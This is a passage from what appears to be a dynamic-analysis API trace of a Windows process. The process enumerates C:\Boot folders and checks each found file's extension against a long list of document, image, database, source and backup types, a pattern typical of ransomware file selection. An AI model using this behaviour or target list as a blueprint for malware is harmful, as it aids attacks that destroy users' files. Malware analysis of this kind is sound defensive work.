nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.602] FindClose (in: hFindFile=0x519fc8 | out: hFindFile=0x519fc8) returned 1 [0059.602] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x36a42b0 | out: hHeap=0x4c0000) returned 1 [0059.602] FindNextFileW (in: hFindFile=0x51ae90, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0059.603] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x36a42b0 [0059.603] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x519fc8 [0059.603] FindNextFileW (in: hFindFile=0x519fc8, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.604] FindNextFileW (in: hFindFile=0x519fc8, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.604] FindClose (in: hFindFile=0x519fc8 | out: hFindFile=0x519fc8) returned 1 [0059.604] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x36a42b0 | out: hHeap=0x4c0000) returned 1 [0059.604] FindNextFileW (in: hFindFile=0x51ae90, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0059.605] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x36a42b0 [0059.605] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51b2d0 [0059.921] FindNextFileW (in: hFindFile=0x51b2d0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.921] FindNextFileW (in: hFindFile=0x51b2d0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x4021078, lpFindFileData=0x2eff58c | out: lpFindFileData=0x2eff58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x4021078, lpFindFileData=0x2eff58c | out: lpFindFileData=0x2eff58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0061.757] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0061.757] lstrlenW (lpString=".3ds") returned 4 [0061.757] lstrcmpiW (lpString1=".3ds", lpString2=".msi") returned -1 [0061.758] lstrlenW (lpString=".3fr") returned 4 [0061.758] lstrcmpiW (lpString1=".3fr", lpString2=".msi") returned -1 [0061.758] lstrlenW (lpString=".3g2") returned 4 [0061.758] lstrcmpiW (lpString1=".3g2", lpString2=".msi") returned -1 [0061.758] lstrlenW (lpString=".3gp") returned 4 [0061.758] lstrcmpiW (lpString1=".3gp", lpString2=".msi") returned -1 [0061.758] lstrlenW (lpString=".7z") returned 3 [0061.758] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0061.758] lstrlenW (lpString=".accda") returned 6 [0061.758] lstrcmpiW (lpString1=".accda", lpString2="WW.msi") returned -1 [0061.758] lstrlenW (lpString=".accdb") returned 6 [0061.758] lstrcmpiW (lpString1=".accdb", lpString2="WW.msi") returned -1 [0061.758] lstrlenW (lpString=".accdc") returned 6 [0061.758] lstrcmpiW (lpString1=".accdc", lpString2="WW.msi") returned -1 [0061.758] lstrlenW (lpString=".accde") returned 6 [0061.758] lstrcmpiW (lpString1=".accde", lpString2="WW.msi") returned -1 [0061.758] lstrlenW (lpString=".accdt") returned 6 [0061.759] lstrcmpiW (lpString1=".accdt", lpString2="WW.msi") returned -1 [0061.759] lstrlenW (lpString=".accdw") returned 6 [0061.759] lstrcmpiW (lpString1=".accdw", lpString2="WW.msi") returned -1 [0061.759] lstrlenW (lpString=".adb") returned 4 [0061.759] lstrcmpiW (lpString1=".adb", lpString2=".msi") returned -1 [0061.759] lstrlenW (lpString=".adp") returned 4 [0061.759] lstrcmpiW (lpString1=".adp", lpString2=".msi") returned -1 [0061.759] lstrlenW (lpString=".ai") returned 3 [0061.759] lstrcmpiW (lpString1=".ai", lpString2="msi") returned -1 [0061.759] lstrlenW (lpString=".ai3") returned 4 [0061.759] lstrcmpiW (lpString1=".ai3", lpString2=".msi") returned -1 [0061.759] lstrlenW (lpString=".ai4") returned 4 [0061.759] lstrcmpiW (lpString1=".ai4", lpString2=".msi") returned -1 [0061.759] lstrlenW (lpString=".ai5") returned 4 [0061.760] lstrcmpiW (lpString1=".ai5", lpString2=".msi") returned -1 [0061.760] lstrlenW (lpString=".ai6") returned 4 [0061.760] lstrcmpiW (lpString1=".ai6", lpString2=".msi") returned -1 [0061.760] lstrlenW (lpString=".ai7") returned 4 [0061.760] lstrcmpiW (lpString1=".ai7", lpString2=".msi") returned -1 [0061.760] lstrlenW (lpString=".ai8") returned 4 [0061.760] lstrcmpiW (lpString1=".ai8", lpString2=".msi") returned -1 [0061.760] lstrlenW (lpString=".anim") returned 5 [0061.760] lstrcmpiW (lpString1=".anim", lpString2="W.msi") returned -1 [0061.760] lstrlenW (lpString=".arw") returned 4 [0061.760] lstrcmpiW (lpString1=".arw", lpString2=".msi") returned -1 [0061.760] lstrlenW (lpString=".as") returned 3 [0061.760] lstrcmpiW (lpString1=".as", lpString2="msi") returned -1 [0061.760] lstrlenW (lpString=".asa") returned 4 [0061.760] lstrcmpiW (lpString1=".asa", lpString2=".msi") returned -1 [0061.760] lstrlenW (lpString=".asc") returned 4 [0061.760] lstrcmpiW (lpString1=".asc", lpString2=".msi") returned -1 [0061.761] lstrlenW (lpString=".ascx") returned 5 [0061.761] lstrcmpiW (lpString1=".ascx", lpString2="W.msi") returned -1 [0061.761] lstrlenW (lpString=".asm") returned 4 [0061.761] lstrcmpiW (lpString1=".asm", lpString2=".msi") returned -1 [0061.761] lstrlenW (lpString=".asmx") returned 5 [0061.761] lstrcmpiW (lpString1=".asmx", lpString2="W.msi") returned -1 [0061.761] lstrlenW (lpString=".asp") returned 4 [0061.761] lstrcmpiW (lpString1=".asp", lpString2=".msi") returned -1 [0061.761] lstrlenW (lpString=".aspx") returned 5 [0061.761] lstrcmpiW (lpString1=".aspx", lpString2="W.msi") returned -1 [0061.761] lstrlenW (lpString=".asr") returned 4 [0061.761] lstrcmpiW (lpString1=".asr", lpString2=".msi") returned -1 [0061.761] lstrlenW (lpString=".asx") returned 4 [0061.761] lstrcmpiW (lpString1=".asx", lpString2=".msi") returned -1 [0061.762] lstrlenW (lpString=".avi") returned 4 [0061.762] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0061.762] lstrlenW (lpString=".avs") returned 4 [0061.762] lstrcmpiW (lpString1=".avs", lpString2=".msi") returned -1 [0061.762] lstrlenW (lpString=".backup") returned 7 [0061.762] lstrcmpiW (lpString1=".backup", lpString2="2WW.msi") returned -1 [0061.762] lstrlenW (lpString=".bak") returned 4 [0061.762] lstrcmpiW (lpString1=".bak", lpString2=".msi") returned -1 [0061.762] lstrlenW (lpString=".bay") returned 4 [0061.762] lstrcmpiW (lpString1=".bay", lpString2=".msi") returned -1 [0061.762] lstrlenW (lpString=".bd") returned 3 [0061.762] lstrcmpiW (lpString1=".bd", lpString2="msi") returned -1 [0061.762] lstrlenW (lpString=".bin") returned 4 [0061.762] lstrcmpiW (lpString1=".bin", lpString2=".msi") returned -1 [0061.762] lstrlenW (lpString=".bmp") returned 4 [0061.763] lstrcmpiW (lpString1=".bmp", lpString2=".msi") returned -1 [0061.763] lstrlenW (lpString=".bz2") returned 4 [0061.763] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0061.763] lstrlenW (lpString=".c") returned 2 [0061.763] lstrcmpiW (lpString1=".c", lpString2="si") returned -1 [0061.763] lstrlenW (lpString=".cdr") returned 4 [0061.764] lstrcmpiW (lpString1=".cdr", lpString2=".msi") returned -1 [0061.764] lstrlenW (lpString=".cer") returned 4 [0061.764] lstrcmpiW (lpString1=".cer", lpString2=".msi") returned -1 [0061.764] lstrlenW (lpString=".cf") returned 3 [0061.764] lstrcmpiW (lpString1=".cf", lpString2="msi") returned -1 [0061.764] lstrlenW (lpString=".cfc") returned 4 [0061.764] lstrcmpiW (lpString1=".cfc", lpString2=".msi") returned -1 [0061.764] lstrlenW (lpString=".cfm") returned 4 [0061.764] lstrcmpiW (lpString1=".cfm", lpString2=".msi") returned -1 [0061.764] lstrlenW (lpString=".cfml") returned 5 [0061.764] lstrcmpiW (lpString1=".cfml", lpString2="W.msi") returned -1 [0061.764] lstrlenW (lpString=".cfu") returned 4 [0061.764] lstrcmpiW (lpString1=".cfu", lpString2=".msi") returned -1 [0061.764] lstrlenW (lpString=".chm") returned 4 [0061.765] lstrcmpiW (lpString1=".chm", lpString2=".msi") returned -1 [0061.765] lstrlenW (lpString=".cin") returned 4 [0061.765] lstrcmpiW (lpString1=".cin", lpString2=".msi") returned -1 [0061.765] lstrlenW (lpString=".class") returned 6 [0061.765] lstrcmpiW (lpString1=".class", lpString2="WW.msi") returned -1 [0061.765] lstrlenW (lpString=".clx") returned 4 [0061.765] lstrcmpiW (lpString1=".clx", lpString2=".msi") returned -1 [0061.765] lstrlenW (lpString=".config") returned 7 [0061.765] lstrcmpiW (lpString1=".config", lpString2="2WW.msi") returned -1 [0061.765] lstrlenW (lpString=".cpp") returned 4 [0061.765] lstrcmpiW (lpString1=".cpp", lpString2=".msi") returned -1 [0061.765] lstrlenW (lpString=".cr2") returned 4 [0061.765] lstrcmpiW (lpString1=".cr2", lpString2=".msi") returned -1 [0061.765] lstrlenW (lpString=".crt") returned 4 [0061.765] lstrcmpiW (lpString1=".crt", lpString2=".msi") returned -1 [0061.766] lstrlenW (lpString=".crw") returned 4 [0061.766] lstrcmpiW (lpString1=".crw", lpString2=".msi") returned -1 [0061.766] lstrlenW (lpString=".cs") returned 3 [0061.766] lstrcmpiW (lpString1=".cs", lpString2="msi") returned -1 [0061.766] lstrlenW (lpString=".css") returned 4 [0061.766] lstrcmpiW (lpString1=".css", lpString2=".msi") returned -1 [0061.766] lstrlenW (lpString=".csv") returned 4 [0061.766] lstrcmpiW (lpString1=".csv", lpString2=".msi") returned -1 [0061.766] lstrlenW (lpString=".cub") returned 4 [0061.766] lstrcmpiW (lpString1=".cub", lpString2=".msi") returned -1 [0061.766] lstrlenW (lpString=".dae") returned 4 [0061.766] lstrcmpiW (lpString1=".dae", lpString2=".msi") returned -1 [0061.766] lstrlenW (lpString=".dat") returned 4 [0061.766] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0061.767] lstrlenW (lpString=".db") returned 3 [0061.767] lstrcmpiW (lpString1=".db", lpString2="msi") returned -1 [0061.767] lstrlenW (lpString=".dbf") returned 4 [0061.767] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0061.767] lstrlenW (lpString=".dbx") returned 4 [0061.767] lstrcmpiW (lpString1=".dbx", lpString2=".msi") returned -1 [0061.767] lstrlenW (lpString=".dc3") returned 4 [0061.767] lstrcmpiW (lpString1=".dc3", lpString2=".msi") returned -1 [0061.767] lstrlenW (lpString=".dcm") returned 4 [0061.767] lstrcmpiW (lpString1=".dcm", lpString2=".msi") returned -1 [0061.767] lstrlenW (lpString=".dcr") returned 4 [0061.767] lstrcmpiW (lpString1=".dcr", lpString2=".msi") returned -1 [0061.767] lstrlenW (lpString=".der") returned 4 [0061.767] lstrcmpiW (lpString1=".der", lpString2=".msi") returned -1 [0061.768] lstrlenW (lpString=".dib") returned 4 [0061.768] lstrcmpiW (lpString1=".dib", lpString2=".msi") returned -1 [0061.768] lstrlenW (lpString=".dic") returned 4 [0061.768] lstrcmpiW (lpString1=".dic", lpString2=".msi") returned -1 [0061.768] lstrlenW (lpString=".dif") returned 4 [0061.768] lstrcmpiW (lpString1=".dif", lpString2=".msi") returned -1 [0061.768] lstrlenW (lpString=".divx") returned 5 [0061.768] lstrcmpiW (lpString1=".divx", lpString2="W.msi") returned -1 [0061.768] lstrlenW (lpString=".djvu") returned 5 [0061.768] lstrcmpiW (lpString1=".djvu", lpString2="W.msi") returned -1 [0061.768] lstrlenW (lpString=".dng") returned 4 [0061.768] lstrcmpiW (lpString1=".dng", lpString2=".msi") returned -1 [0061.768] lstrlenW (lpString=".doc") returned 4 [0061.768] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0061.768] lstrlenW (lpString=".docm") returned 5 [0061.768] lstrcmpiW (lpString1=".docm", lpString2="W.msi") returned -1 [0061.768] lstrlenW (lpString=".docx") returned 5 [0061.769] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0061.769] lstrlenW (lpString=".dot") returned 4 [0061.769] lstrcmpiW (lpString1=".dot", lpString2=".msi") returned -1 [0061.769] lstrlenW (lpString=".dotm") returned 5 [0061.769] lstrcmpiW (lpString1=".dotm", lpString2="W.msi") returned -1 [0061.769] lstrlenW (lpString=".dotx") returned 5 [0061.769] lstrcmpiW (lpString1=".dotx", lpString2="W.msi") returned -1 [0061.769] lstrlenW (lpString=".dpx") returned 4 [0061.769] lstrcmpiW (lpString1=".dpx", lpString2=".msi") returned -1 [0061.769] lstrlenW (lpString=".dqy") returned 4 [0061.769] lstrcmpiW (lpString1=".dqy", lpString2=".msi") returned -1 [0061.769] lstrlenW (lpString=".dsn") returned 4 [0061.769] lstrcmpiW (lpString1=".dsn", lpString2=".msi") returned -1 [0061.769] lstrlenW (lpString=".dt") returned 3 [0061.769] lstrcmpiW (lpString1=".dt", lpString2="msi") returned -1 [0061.770] lstrlenW (lpString=".dtd") returned 4 [0061.770] lstrcmpiW (lpString1=".dtd", lpString2=".msi") returned -1 [0061.770] lstrlenW (lpString=".dwg") returned 4 [0061.770] lstrcmpiW (lpString1=".dwg", lpString2=".msi") returned -1 [0061.770] lstrlenW (lpString=".dwt") returned 4 [0061.770] lstrcmpiW (lpString1=".dwt", lpString2=".msi") returned -1 [0061.770] lstrlenW (lpString=".dx") returned 3 [0061.770] lstrcmpiW (lpString1=".dx", lpString2="msi") returned -1 [0061.770] lstrlenW (lpString=".dxf") returned 4 [0061.770] lstrcmpiW (lpString1=".dxf", lpString2=".msi") returned -1 [0061.770] lstrlenW (lpString=".edml") returned 5 [0061.770] lstrcmpiW (lpString1=".edml", lpString2="W.msi") returned -1 [0061.770] lstrlenW (lpString=".efd") returned 4 [0061.770] lstrcmpiW (lpString1=".efd", lpString2=".msi") returned -1 [0061.770] lstrlenW (lpString=".elf") returned 4 [0061.771] lstrcmpiW (lpString1=".elf", lpString2=".msi") returned -1 [0061.771] lstrlenW (lpString=".emf") returned 4 [0061.771] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0061.771] lstrlenW (lpString=".emz") returned 4 [0061.771] lstrcmpiW (lpString1=".emz", lpString2=".msi") returned -1 [0061.771] lstrlenW (lpString=".epf") returned 4 [0061.771] lstrcmpiW (lpString1=".epf", lpString2=".msi") returned -1 [0061.771] lstrlenW (lpString=".eps") returned 4 [0061.771] lstrcmpiW (lpString1=".eps", lpString2=".msi") returned -1 [0061.771] lstrlenW (lpString=".epsf") returned 5 [0061.771] lstrcmpiW (lpString1=".epsf", lpString2="W.msi") returned -1 [0061.771] lstrlenW (lpString=".epsp") returned 5 [0061.771] lstrcmpiW (lpString1=".epsp", lpString2="W.msi") returned -1 [0061.771] lstrlenW (lpString=".erf") returned 4 [0061.771] lstrcmpiW (lpString1=".erf", lpString2=".msi") returned -1 [0061.772] lstrlenW (lpString=".exr") returned 4 [0061.772] lstrcmpiW (lpString1=".exr", lpString2=".msi") returned -1 [0061.772] lstrlenW (lpString=".f4v") returned 4 [0061.772] lstrcmpiW (lpString1=".f4v", lpString2=".msi") returned -1 [0061.772] lstrlenW (lpString=".fido") returned 5 [0061.772] lstrcmpiW (lpString1=".fido", lpString2="W.msi") returned -1 [0061.772] lstrlenW (lpString=".flm") returned 4 [0061.772] lstrcmpiW (lpString1=".flm", lpString2=".msi") returned -1 [0061.772] lstrlenW (lpString=".flv") returned 4 [0061.772] lstrcmpiW (lpString1=".flv", lpString2=".msi") returned -1 [0061.772] lstrlenW (lpString=".frm") returned 4 [0061.772] lstrcmpiW (lpString1=".frm", lpString2=".msi") returned -1 [0061.772] lstrlenW (lpString=".fxg") returned 4 [0061.773] lstrcmpiW (lpString1=".fxg", lpString2=".msi") returned -1 [0061.773] lstrlenW (lpString=".geo") returned 4 [0061.773] lstrcmpiW (lpString1=".geo", lpString2=".msi") returned -1 [0061.773] lstrlenW (lpString=".gif") returned 4 [0061.773] lstrcmpiW (lpString1=".gif", lpString2=".msi") returned -1 [0061.773] lstrlenW (lpString=".grs") returned 4 [0061.773] lstrcmpiW (lpString1=".grs", lpString2=".msi") returned -1 [0061.773] lstrlenW (lpString=".gz") returned 3 [0061.773] lstrcmpiW (lpString1=".gz", lpString2="msi") returned -1 [0061.773] lstrlenW (lpString=".h") returned 2 [0061.773] lstrcmpiW (lpString1=".h", lpString2="si") returned -1 [0061.773] lstrlenW (lpString=".hdr") returned 4 [0061.773] lstrcmpiW (lpString1=".hdr", lpString2=".msi") returned -1 [0061.773] lstrlenW (lpString=".hpp") returned 4 [0061.773] lstrcmpiW (lpString1=".hpp", lpString2=".msi") returned -1 [0061.773] lstrlenW (lpString=".hta") returned 4 [0061.773] lstrcmpiW (lpString1=".hta", lpString2=".msi") returned -1 [0061.774] lstrlenW (lpString=".htc") returned 4 [0061.774] lstrcmpiW (lpString1=".htc", lpString2=".msi") returned -1 [0061.774] lstrlenW (lpString=".htm") returned 4 [0061.774] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0061.774] lstrlenW (lpString=".html") returned 5 [0061.774] lstrcmpiW (lpString1=".html", lpString2="W.msi") returned -1 [0061.774] lstrlenW (lpString=".icb") returned 4 [0061.774] lstrcmpiW (lpString1=".icb", lpString2=".msi") returned -1 [0061.774] lstrlenW (lpString=".ics") returned 4 [0061.774] lstrcmpiW (lpString1=".ics", lpString2=".msi") returned -1 [0061.774] lstrlenW (lpString=".iff") returned 4 [0061.774] lstrcmpiW (lpString1=".iff", lpString2=".msi") returned -1 [0061.774] lstrlenW (lpString=".inc") returned 4 [0061.774] lstrcmpiW (lpString1=".inc", lpString2=".msi") returned -1 [0061.775] lstrlenW (lpString=".indd") returned 5 [0061.775] lstrcmpiW (lpString1=".indd", lpString2="W.msi") returned -1 [0061.775] lstrlenW (lpString=".ini") returned 4 [0061.775] lstrcmpiW (lpString1=".ini", lpString2=".msi") returned -1 [0061.775] lstrlenW (lpString=".iqy") returned 4 [0061.775] lstrcmpiW (lpString1=".iqy", lpString2=".msi") returned -1 [0061.775] lstrlenW (lpString=".j2c") returned 4 [0061.775] lstrcmpiW (lpString1=".j2c", lpString2=".msi") returned -1 [0061.775] lstrlenW (lpString=".j2k") returned 4 [0061.775] lstrcmpiW (lpString1=".j2k", lpString2=".msi") returned -1 [0061.775] lstrlenW (lpString=".java") returned 5 [0061.775] lstrcmpiW (lpString1=".java", lpString2="W.msi") returned -1 [0061.775] lstrlenW (lpString=".jp2") returned 4 [0061.775] lstrcmpiW (lpString1=".jp2", lpString2=".msi") returned -1 [0061.775] lstrlenW (lpString=".jpc") returned 4 [0061.775] lstrcmpiW (lpString1=".jpc", lpString2=".msi") returned -1 [0061.776] lstrlenW (lpString=".jpe") returned 4 [0061.776] lstrcmpiW (lpString1=".jpe", lpString2=".msi") returned -1 [0061.776] lstrlenW (lpString=".jpeg") returned 5 [0061.776] lstrcmpiW (lpString1=".jpeg", lpString2="W.msi") returned -1 [0061.776] lstrlenW (lpString=".jpf") returned 4 [0061.777] lstrcmpiW (lpString1=".jpf", lpString2=".msi") returned -1 [0061.777] lstrlenW (lpString=".jpg") returned 4 [0061.777] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0061.777] lstrlenW (lpString=".jpx") returned 4 [0061.777] lstrcmpiW (lpString1=".jpx", lpString2=".msi") returned -1 [0061.777] lstrlenW (lpString=".js") returned 3 [0061.777] lstrcmpiW (lpString1=".js", lpString2="msi") returned -1 [0061.777] lstrlenW (lpString=".jsf") returned 4 [0061.777] lstrcmpiW (lpString1=".jsf", lpString2=".msi") returned -1 [0061.778] lstrlenW (lpString=".json") returned 5 [0061.778] lstrcmpiW (lpString1=".json", lpString2="W.msi") returned -1 [0061.778] lstrlenW (lpString=".jsp") returned 4 [0061.778] lstrcmpiW (lpString1=".jsp", lpString2=".msi") returned -1 [0061.778] lstrlenW (lpString=".kdc") returned 4 [0061.778] lstrcmpiW (lpString1=".kdc", lpString2=".msi") returned -1 [0061.778] lstrlenW (lpString=".kmz") returned 4 [0061.778] lstrcmpiW (lpString1=".kmz", lpString2=".msi") returned -1 [0061.778] lstrlenW (lpString=".kwm") returned 4 [0061.778] lstrcmpiW (lpString1=".kwm", lpString2=".msi") returned -1 [0061.778] lstrlenW (lpString=".lasso") returned 6 [0061.779] lstrcmpiW (lpString1=".lasso", lpString2="WW.msi") returned -1 [0061.779] lstrlenW (lpString=".lbi") returned 4 [0061.779] lstrcmpiW (lpString1=".lbi", lpString2=".msi") returned -1 [0061.779] lstrlenW (lpString=".lgf") returned 4 [0061.779] lstrcmpiW (lpString1=".lgf", lpString2=".msi") returned -1 [0061.779] lstrlenW (lpString=".lgp") returned 4 [0061.779] lstrcmpiW (lpString1=".lgp", lpString2=".msi") returned -1 [0061.779] lstrlenW (lpString=".log") returned 4 [0061.779] lstrcmpiW (lpString1=".log", lpString2=".msi") returned -1 [0061.779] lstrlenW (lpString=".m1v") returned 4 [0061.779] lstrcmpiW (lpString1=".m1v", lpString2=".msi") returned -1 [0061.780] lstrlenW (lpString=".m4a") returned 4 [0061.780] lstrcmpiW (lpString1=".m4a", lpString2=".msi") returned -1 [0061.780] lstrlenW (lpString=".m4v") returned 4 [0061.780] lstrcmpiW (lpString1=".m4v", lpString2=".msi") returned -1 [0061.780] lstrlenW (lpString=".max") returned 4 [0061.780] lstrcmpiW (lpString1=".max", lpString2=".msi") returned -1 [0061.780] lstrlenW (lpString=".md") returned 3 [0061.780] lstrcmpiW (lpString1=".md", lpString2="msi") returned -1 [0061.780] lstrlenW (lpString=".mda") returned 4 [0061.780] lstrcmpiW (lpString1=".mda", lpString2=".msi") returned -1 [0061.780] lstrlenW (lpString=".mdb") returned 4 [0061.780] lstrcmpiW (lpString1=".mdb", lpString2=".msi") returned -1 [0061.780] lstrlenW (lpString=".mde") returned 4 [0061.780] lstrcmpiW (lpString1=".mde", lpString2=".msi") returned -1 [0061.781] lstrlenW (lpString=".mdf") returned 4 [0061.781] lstrcmpiW (lpString1=".mdf", lpString2=".msi") returned -1 [0061.781] lstrlenW (lpString=".mdw") returned 4 [0061.781] lstrcmpiW (lpString1=".mdw", lpString2=".msi") returned -1 [0061.781] lstrlenW (lpString=".mef") returned 4 [0061.781] lstrcmpiW (lpString1=".mef", lpString2=".msi") returned -1 [0061.781] lstrlenW (lpString=".mft") returned 4 [0061.781] lstrcmpiW (lpString1=".mft", lpString2=".msi") returned -1 [0061.781] lstrlenW (lpString=".mfw") returned 4 [0061.781] lstrcmpiW (lpString1=".mfw", lpString2=".msi") returned -1 [0061.781] lstrlenW (lpString=".mht") returned 4 [0061.781] lstrcmpiW (lpString1=".mht", lpString2=".msi") returned -1 [0061.781] lstrlenW (lpString=".mhtml") returned 6 [0061.781] lstrcmpiW (lpString1=".mhtml", lpString2="WW.msi") returned -1 [0061.782] lstrlenW (lpString=".mka") returned 4 [0061.782] lstrcmpiW (lpString1=".mka", lpString2=".msi") returned -1 [0061.782] lstrlenW (lpString=".mkidx") returned 6 [0061.782] lstrcmpiW (lpString1=".mkidx", lpString2="WW.msi") returned -1 [0061.782] lstrlenW (lpString=".mkv") returned 4 [0061.782] lstrcmpiW (lpString1=".mkv", lpString2=".msi") returned -1 [0061.782] lstrlenW (lpString=".mos") returned 4 [0061.782] lstrcmpiW (lpString1=".mos", lpString2=".msi") returned -1 [0061.782] lstrlenW (lpString=".mov") returned 4 [0061.782] lstrcmpiW (lpString1=".mov", lpString2=".msi") returned -1 [0061.782] lstrlenW (lpString=".mp3") returned 4 [0061.782] lstrcmpiW (lpString1=".mp3", lpString2=".msi") returned -1 [0061.782] lstrlenW (lpString=".mp4") returned 4 [0061.782] lstrcmpiW (lpString1=".mp4", lpString2=".msi") returned -1 [0061.782] lstrlenW (lpString=".mpeg") returned 5 [0061.783] lstrcmpiW (lpString1=".mpeg", lpString2="W.msi") returned -1 [0061.783] lstrlenW (lpString=".mpg") returned 4 [0061.783] lstrcmpiW (lpString1=".mpg", lpString2=".msi") returned -1 [0061.783] lstrlenW (lpString=".mpv") returned 4 [0061.783] lstrcmpiW (lpString1=".mpv", lpString2=".msi") returned -1 [0061.783] lstrlenW (lpString=".mrw") returned 4 [0061.783] 